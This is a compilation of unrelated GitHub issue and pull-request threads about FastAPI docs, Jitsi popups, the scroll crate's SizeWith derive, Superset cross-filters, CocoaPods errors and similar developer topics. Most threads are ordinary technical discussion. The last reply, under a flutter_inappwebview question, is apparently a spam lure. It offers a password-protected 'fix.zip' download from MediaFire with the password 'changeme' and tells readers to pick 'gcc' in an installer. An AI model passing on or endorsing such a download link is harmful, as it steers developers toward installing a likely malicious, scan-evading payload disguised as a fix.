You could make v1, v2 endpoints as sub-applications instead of routers, then use sub-app mounting for separate docs
# instead of these
# api_v1 = APIRouter()
# api_v2 = APIRouter()
# ...
# app.include_router(api_v1, '/v1')
# app.include_router(api_v2, '/v2')

# try these
api_v1 = FastAPI()
api_v2 = FastAPI()
...
app.mount('/v1', api_v1)
app.mount('/v2', api_v2)

For example:
app = FastAPI(root_path='/api')

api_v1 = FastAPI()
api_v2 = FastAPI()

@api_v1.get('/users')
def get_users():
    return {'user': 'John Doe'}

@api_v2.get('/users')
def get_users():
    return {'user': 'you-know-who'}

app.mount('/v1', api_v1)
app.mount('/v2', api_v2)

Then, go to /api/v1/docs or /api/v2/docs to check it.
Besides, there is an empty doc at /api/docs too, people may be confused if nothing is there. So you may wanna tell users how to access those sub-docs. For example:
...
@app.get('/v1/docs')
def goto_the_path_to_read_v1_docs():
    pass

@app.get('/v2/docs')
def goto_the_path_to_read_v2_docs():
    pass

Then, /v1/docs, /v2/docs endpoints will be shown in /api/docs


Weird windows (about:blank) pop-up when desktop app put in background (AOT feature)

@hristoterezov I am seeing this weird window popup issue when my desktop app put in background (AOT). I have my own windows electron desktop app and I use jitsi-meet-electron-utils package for always on top feature. I noticed this line in the code:
// Intentionally open about:blank. Otherwise if an origin is set, a     // cross-origin redirect can cause any set global variables to be blown     // away.     this._alwaysOnTopWindow = window.open('', 'AlwaysOnTop');
Not sure, if this is causing the issue, but it seems bit frustrating for windows user. Any idea, how could we solve it?
Below is the Popup image I see:

More details here: https://community.jitsi.org/t/weird-windows-pop-up-when-desktop-app-put-in-background-always-on-top-feature/102151

@hristoterezov any idea on this issue? Please, looking forward for the solution on this.


Fix run()

Currently run() adds two square brackets "[[" and "]]" around the REST request to the task. It should do this only if a csv is supplied (for the sklearn cases), and not if it's called using "pb" or "raw". Thus, currently sclblpy.run() does not work on pipelines generated from sclblonnx.
Suggested fix:

Always supply data_type= to Scailable run(), with default "pb"
Also add support for "raw"  (which is just raw base64 encoded byte array).
Make sure that all sklearn examples and test are updated to say "csv".

CSV:
 payload = "{\"input\":{\"content-type\":\"json\",\"location\":\"embedded\",\"data\":\"{\\\"input\\\": [[" + data + "]]}\"},\"output\":{\"content-type\":\"json\",\"location\":\"echo\"},\"control\":1,\"properties\":{\"language\":\"WASM\"}}"

Explicitly add type="csv"

raw:
 payload = "{\"input\":{\"content-type\":\"json\",\"location\":\"embedded\",\"data\":\"{\\\"input\\\": " + data + ", \\\"type\\\":\\\"raw\\\"}\"},\"output\":{\"content-type\":\"json\",\"location\":\"echo\"},\"control\":1,\"properties\":{\"language\":\"WASM\"}}"

Note the raw type in the data field.

PB:
 payload = "{\"input\":{\"content-type\":\"json\",\"location\":\"embedded\",\"data\":\"{\\\"input\\\": " + data + "}\"},\"output\":{\"content-type\":\"json\",\"location\":\"echo\"},\"control\":1,\"properties\":{\"language\":\"WASM\"}}"

Also add the pb type in the data field.

This is fixed with: https://github.com/scailable/sclblpy/commit/ee6d5eac0eff7e962f67a45caeef4d54c530f479


UI: Fill out the search filter form field after performing a filter

Description
After performing the search filter, the fields will be blank when converting the page

Types of changes

[ ] Breaking change (fix or feature that would cause existing functionality to change)
[ ] New feature (non-breaking change which adds functionality)
[x] Bug fix (non-breaking change which fixes an issue)
[ ] Enhancement (improves an existing feature and functionality)
[ ] Cleanup (Code refactoring and cleanup, that may add test cases)

Feature/Enhancement Scale or Bug Severity
Feature/Enhancement Scale

[ ] Major
[x] Minor

Bug Severity

[ ] BLOCKER
[ ] Critical
[ ] Major
[x] Minor
[ ] Trivial

Screenshots (if appropriate):

Back to list page:

How Has This Been Tested?

List view page -> search filter -> go-to resource view -> back to list page

@blueorangutan ui

@utchoang a Jenkins job has been kicked to build UI QA env. I'll keep you posted as I make progress.

UI build: :heavy_check_mark:
Live QA URL: http://qa.cloudstack.cloud:8080/client/pr/4855 (SL-JID-50)


how  to  merge duplicate columns  in a csv

hello !  I'm  facing some new problem , first , I have a csv file with a duplicate header , for example ,
phone.csv  with header      phone;age;name;phone;idcard , and  spark-csv can't solve this problem , can anybody help me ?
second , the columns of a csv file is increasing , for example ,  phone1.csv  with columns  phone;age;name , phone2.csv with columns  phone;age;name;idcard;school , I don't known if spark-csv can solve this problem ?
any help would be appreciated  . thank you

Well just Don't read the header and build the header yourself...


parser: support partition selection grammer for the delete statement (#868)

Cherry pick https://github.com/pingcap/parser/pull/868 to release-4.0

PTAL @jackysp @kennytm


derive(SizeWith) should use SizeWith recursively, not mem::size_of

Currently the derive(SizeWith) implementation uses mem::size_of for individual fields. Unfortunately this means that it won't produce the correct results unless you use #[repr(C, packed)] on all your structs, which is a real pain to use nowadays because of the "can't safely take a reference to a packed struct field" warnings.
It would be nicer if it instead returned the sum of calling size_with for each field in the struct so that it would work correctly without packed.

Hmmm, I’m not sure I understand exactly how this would be fixed. I agree should avoid requiring users to use packed but I thought that size_with just used sizeof on the whole type, which means it shouldn’t require packed ?

The problem is that mem::size_of includes padding and alignment, so if you have like:
struct A { a: u32, b: u64 }
struct B { a: A }

Then mem::size_of::<A>() is going to wind up being 16 bytes on most platforms due to alignment, so the SizeWith implementation of B will wind up reporting 16 bytes.
I cooked up a patch that just returns the sum of ty::size_with(ctx) for every member in a struct and it seems to work fine, and rustc is smart enough to constant-fold the whole thing down to a single constant.

Hmmm that makes me a little nervous. All of goblin relies now on size_with impls for writing, but iiuc, doesn’t removing the size_of calls commit us to a packed serialization of all structs ? Maybe I’m missing something.
But I’m very wary of changing important SizeWith details at this time because of the obscure bugs it might cause downstream ? That’s my major concern, but again perhaps I’m missing something ?

Hmmm that makes me a little nervous. All of goblin relies now on size_with impls for writing, but iiuc, doesn’t removing the size_of calls commit us to a packed serialization of all structs ? Maybe I’m missing something.

It does, but I'm not sure what the alternative is. Without #[repr(C)], the actual memory layout of Rust structs is implementation-defined anyway. scroll currently just serializes and deserializes struct fields in the order they're declared without any padding or alignment, which seems like the thing everyone would want. If you need padding or alignment in a struct it's straightforward to add extra fields to get that, but it's pretty hard to go the other day.
Do you have a concrete use case in mind for non-packed serialization?

Ok, I think you're right.
Specifically, I don't have anything really in mind for non-packed serialization, except all of the structs in goblin, which are [repr(C)]; however, afaics, they were all designed to include padding and alignment issues (like you suggest above), so that they're essentially "packed" structs on disk/in binaries.
So to clarify, will your changes will only require users to do [repr(C)] and not packed? And will this will be backwards compatible for anyone relying on the "older" version of scroll? Specifically, I worry about the structs in goblin (which are all repr(C) i believe).
It's ok if some or all of these are no, I'm just trying to assess the damage level if we go your route; if we do break stuff, i'm 50% ok with it as a "one last breakage before 1.0 thing", as long as there's a compelling reason, and we won't go back/revert, and its just the right/intuitive/most safe/friendly/future thinking path, etc.
Haha, ok that was a lot of requirements, but to be clear this sounds good to me I think, just being somewhat wary about essentially what could be a breaking a ABI change to anyone using this (which includes me).
Lastly, I've been trying to avoid scroll as a "serialization" library, and was originally designed just for numbers and simple Pods, but I guess its unrealistic, since it can really read or write pretty much anything, and I was just fooling myself; so I guess its better to settle on a  specific data layout it requires for reading and writing? (and in case it wasn't clear, it always has to be able to read and write structs inside of binaries, which is its raison d'être)
Anyway, @luser, thanks for your valuable suggestions here and elsewhere, always appreciated :)

So to clarify, will your changes will only require users to do [repr(C)] and not packed? And will this will be backwards compatible for anyone relying on the "older" version of scroll? Specifically, I worry about the structs in goblin (which are all repr(C) i believe).

I don't think it'll require any repr at all--the way scroll works doesn't rely on the exact memory layout of structs, right? The SizeWith trait is simply to allow reading the right number of bytes from a Read impl.
As it stands, I decided to work around this issue by changing my minidump crate to use memmap instead of reading from a File bit-by-bit, so I can live without these changes. I'll push my changes to a branch so you can see what I was thinking, though.

OK, I pushed my proposed change up, you can see it linked above. I looked at the expanded code from the macro, as well as the assembly generated for cargo build --release for a simple example (n.b., the inline Pwrite impls are to work around #15), and here's what it looks like.
The SizeWith impls for A and B look like this (using cargo-expand to get the macro output):
impl ::scroll::ctx::SizeWith<::scroll::Endian> for A {
    type
    Units
    =
    usize;
    #[inline]
    fn size_with(ctx: &::scroll::Endian) -> Self::Units {
        0 + <u64>::size_with(ctx) + <u32>::size_with(ctx)
    }
}

impl ::scroll::ctx::SizeWith<::scroll::Endian> for B {
    type
    Units
    =
    usize;
    #[inline]
    fn size_with(ctx: &::scroll::Endian) -> Self::Units {
        0 + <A>::size_with(ctx)
    }
}

Those look like they get constant-folded away entirely by the compiler, the call to B::size_with turns into a constant load:
https://github.com/luser/scroll-size-with/blob/24d74861655971eaa153cfcac430418879d0a96f/src/main.rs#L54
   54     let size = B::size_with(&LE);
   000062b9:    48 c7 44 24 18 0c 00    mov qword ptr [rsp + 0x18], 0xc
   000062c0:    00 00

It's also useful to note that the assertions in this example fail when built against scroll_derive without my patch, because size_with doesn't return the number of bytes that actually get written or read:
luser@eye7:/build/scroll-size-with$ cargo run
    Finished dev [unoptimized + debuginfo] target(s) in 0.01s
     Running `target/debug/scroll-size-with`
thread 'main' panicked at 'assertion failed: `(left == right)`
  left: `12`,
 right: `16`', src/main.rs:59:5
note: Run with `RUST_BACKTRACE=1` for a backtrace.

I realized I could just add that example as a test, so I did so, but I had to trim it down to avoid #15.


[BugFix] Fix delete stmt not trigger event to compaction framework

What type of PR is this：

[x] BugFix
[ ] Feature
[ ] Enhancement
[ ] Refactor
[ ] UT
[ ] Doc
[ ] Tool

Which issues of this PR fixes ：

Fixes #14638
Problem Summary(Required) ：

Checklist:

[ ] I have added test cases for my bug fix or my new feature
[ ] This pr will affect users' behaviors
[ ] This pr needs user documentation (for new or modified features or behaviors)

[ ] I have added documentation for my new feature or new function

Bugfix cherry-pick branch check:

[x] I have checked the version labels which the pr will be auto backported to target branch

[x] 2.5
[ ] 2.4
[ ] 2.3
[ ] 2.2

run starrocks_admit_test

run starrocks_admit_test

@Mergifyio backport branch-2.5


LOG4J2-2269: ReusableLogEventFactory.release clears MutableLogEvent

Fixes a memory leak where parameter references were held beyond
MutableLogEvent usage.

merged


feat(router): make hash sizes configurable

Another incremental step toward feature parity.

Worth noting: this PR adds configuration options that are nginx specific.  After feature parity has been achieved, I intend to circle back and add support for configuration "extensions" that might be implementation-specific.  See #36.


maven repo down?

Yes, waiting on the members with access to come online. This isn't really a modmenu issue so I will close it, but here is the link to our discord, I'll make sure to post an update there once it's back up and running.


Fix NullPointerException in SACTest.

Description
Introduced within #1670 , the addAll function threw a NullPointerException (see here).
Fixed this now.
If any of these don't apply, please comment below.
Testing Performed

manual, local test.
see CI SACTest shouldn't fail anymore with NullPointerException.

/test all

I should have said approved pending CI.


feat(cross-filters): using verbose map in applied cross-filters

SUMMARY
Displaying human-readable column names in cross-filters by using verbose mapping from the chart's datasource.
BEFORE

AFTER

TESTING INSTRUCTIONS

ADDITIONAL INFORMATION

[ ] Has associated issue:
[x] Required feature flags: DASHBOARD_CROSS_FILTERS
[x] Changes UI
[ ] Includes DB Migration (follow approval process in SIP-59)

[ ] Migration is atomic, supports rollback & is backwards-compatible
[ ] Confirm DB migration upgrade and downgrade tested
[ ] Runtime estimates and downtime expectations provided

[ ] Introduces new feature or API
[ ] Removes existing feature or API

@villebro Hello! Can I get review of my PR?

/testenv up FEATURE_DASHBOARD_CROSS_FILTERS=true

Looks great, thanks for contribution!
1 nit -  when we do const charts = useSelector(state => state.charts);, the component will rerender each time any chart changes (for example, when a dashboard with 10 charts loads, the charts change their chartStatus loading -> success -> rendered - that's 30 changes/rerenders already).
It looks like getVerboseMap actually only needs chart ids, not full chat objects, so could we do something like const chartIds = useSelector(state => Object.keys(state.charts)); instead?

@kgabryje Thank you for review!
I'll optimize getVerboseMapsForCharts function today

Another improvement that we could use to DRY things up is to transform getVerboseMapsForCharts into a react hook, so that we don't need to select datasources and charts in each component where we want to get the verbose maps. But that's optional 🙂

@kgabryje Hello!
I updated GetChartsVerboseMaps  function, it return charts verbose maps one time without rerender, and it doesn't need any params.
Can you please review code?
Thank you!

@Always-prog Tested, works great! 1 last nit - the naming conventions for functions is to start them with lowercase letter + if it's a hook, start the name with use. Could you rename GetChartsVerboseMaps to useChartsVerboseMaps?

@kgabryje Of course, renamed in the last commit.

@kgabryje Hello!
I renamed the function, can you review my code please?


Add GetModState that seemed to have been forgotten

Hi, I don't know why GetModState had been omitted, but it's a very useful function and not too complicated.
And thanks for go-sdl2. Works like a charm on Linux and Windows.

This change is

Hi @slowfrog, indeed we missed that particular function. Thanks, and glad to know it worked well!


Mudcalendar Wiki - API section not loading

Hi again,
I was just looking at some properties for the MudCalendar and tried to access the documentation. I can see the content for Example and Extending menu items. However, I get blank screen for API menu item. See screenshot below:

I tried Firefox, Chrome and Edge, all with the same result. Has this page been taken down?
P.S. I don't see any error on the browser console, so its' definitely not breaking at render
Thanks

This is fixed now.

Thanks for that


Added missing space

Inspired by @adamralph DevDay talk

:shipit:

but you failed appveyor!  Clearly that space was the issue :tada:

(okay, I'm kidding) :laughing:

Yay! @adamralph - thanks for the inspiration. Once I saw this "issue" on the video I knew I had to correct it ;). I'll look for something bigger next time.

@michaldudak :+1: glad to hear it.
BTW - I would have fixed it too :wink:

ctrl-k, ctrl-d :ice_cream:

@adamralph don't forget to mention that you would have added a stylecop rule for that too :smile:

@filipw I was just going to mention StyleCop and an idea to include its settings in the repo (and perhaps a R# settings) to enforce the code style.

You have to remember, most of us dev on omnisharp without VS or R# :smile:
Once we get support for loading nuget based code analyzers.... we could load the nuget based style cop rules. :smirk:

Ahh, pardon my old Windows & VS habits... ;)

@michaldudak tests ftw https://github.com/OmniSharp/omnisharp-roslyn/blob/master/tests/OmniSharp.Tests/CodingGuidelinesFacts.cs#L37

:scream:

Wow, that's an interesting approach :)

It's an interesting approach, but the downside with putting it in a test is
that it has to be repeated in every solution that needs it, and would
potentially need variants for xunit, NUnit, Fixie, etc. I think I'd prefer
Install-Package Analyzers.SpacesNotTabs.
On 16 Oct 2015 7:39 am, "Michał Dudak"<EMAIL_ADDRESS>wrote:

Wow, that's an interesting approach :)
—
Reply to this email directly or view it on GitHub
https://github.com/OmniSharp/omnisharp-roslyn/pull/317#issuecomment-148629744
.


Error: Unable to read the license file

I'm having an issue adding the pod to my project. I get the error "Unable to read the license file". Any suggestions?

my pods version is 1.2.0. it works good. according to https://github.com/CocoaPods/CocoaPods/issues/5711, you may need to update your cocoapods to the latest version.

can you provide the version of cocopods? my pods version is 1.2.0, it works good.

Apparently that was the problem! I updated to 1.2.0 and it added with no problems. Thanks for the help!

License file in podspec has wrong name


FBSDKApplicationDelegate is undeclared

🐛 Bug Report
I am on the latest version and have the FBSDKCoreKit imported for ios.  When I go to build it tell me that FBSDKApplicationDelegate is undeclared.  Pod install has been ran and i checked the source for the pod package to make sure ti was there.
To Reproduce
Install react-native-fbsdk-next, run pod install, try to build in xcode.
Expected Behavior
Expect xCode to build without undeclared error.
Code Example
N/A
Environment

Terrible searching on my part.  found the resolution by switching to :
#import <FBSDKCoreKit/FBSDKCoreKit.h>
to
#import <FBSDKCoreKit/FBSDKCoreKit-Swift.h>


Shallow-UWnet : Compressed models for underwater image enhancement

Is your github code corresponding to the paper 《Shallow-UWnet : Compressed models for underwater image enhancement》？

Yes, the codebase corresponds to the paper "Shallow-UWnet : Compressed models for underwater image enhancement" (https://arxiv.org/abs/2101.02073)


Use Analytics in a WebView

Description
I want to track Google Analytics events through the webview as detailed here, but I don't understand how i can add this functionality to flutter_inappwebview.

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."